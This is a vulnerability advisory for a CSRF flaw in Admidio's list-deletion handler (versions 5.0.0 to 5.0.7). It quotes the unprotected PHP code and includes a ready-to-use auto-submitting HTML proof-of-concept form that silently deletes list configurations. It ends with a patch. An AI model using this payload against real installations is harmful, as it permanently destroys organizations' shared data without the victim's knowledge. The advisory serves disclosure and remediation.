| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| admidio/admidio | ≥ 5.0.0, < 5.0.8 | 5.0.8 |
| admidio | ≥ 5.0.0, < 5.0.8 | 5.0.8 |
Reported by: Juan Felipe Oz @JF0x0r
The delete mode handler in mylist_function.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.
File: modules/groups-roles/mylist_function.php
The CSRF token validation at lines 81–82 is scoped exclusively to the save, save_as, and save_temporary modes:
// Line 81-82 — only runs for save modes
$categoryReportConfigForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
if ($_POST['adm_csrf_token'] !== $categoryReportConfigForm->getCsrfToken()) {
throw new Exception('Invalid or missing CSRF token!');
}
The delete case at lines 159–161 executes the destructive operation with no token check:
} elseif ($getMode === 'delete') {
// delete list configuration
$list->delete(); // no CSRF validation
echo json_encode(array('status' => 'success', ...));
exit();
}
A global input guard at lines 40–48 requires a non-empty column[] POST parameter for all modes including delete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as LAST_NAME is sufficient.
Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (lst_global = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.
<img width="751" height="240" alt="imagen" src="https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8" />First my video PoC, after that, the proof of concept with detail.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí<!DOCTYPE html>
<html>
<body>
<form id="f" method="POST"
action="http://TARGET/modules/groups-roles/mylist_function.php?mode=delete&list_uuid=TARGET_UUID">
<input type="hidden" name="column[]" value="LAST_NAME">
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok?
{"status":"success","url":".../modules/groups-roles/mylist.php"}
SELECT lst_name FROM adm_lists WHERE lst_uuid='TARGET_UUID';
-- Empty result set
No
adm_csrf_tokenfield is required anywhere in the request.
It's so simple.
SecurityUtils::validateCsrfToken() pattern already used in the save modes:} elseif ($getMode === 'delete') {
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$list->delete();
echo json_encode(array('status' => 'success', ...));
exit();
}
Additionally, the column[] input guard at lines 40–48 should be moved inside the in_array($getMode, ['save', 'save_as', 'save_temporary']) block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.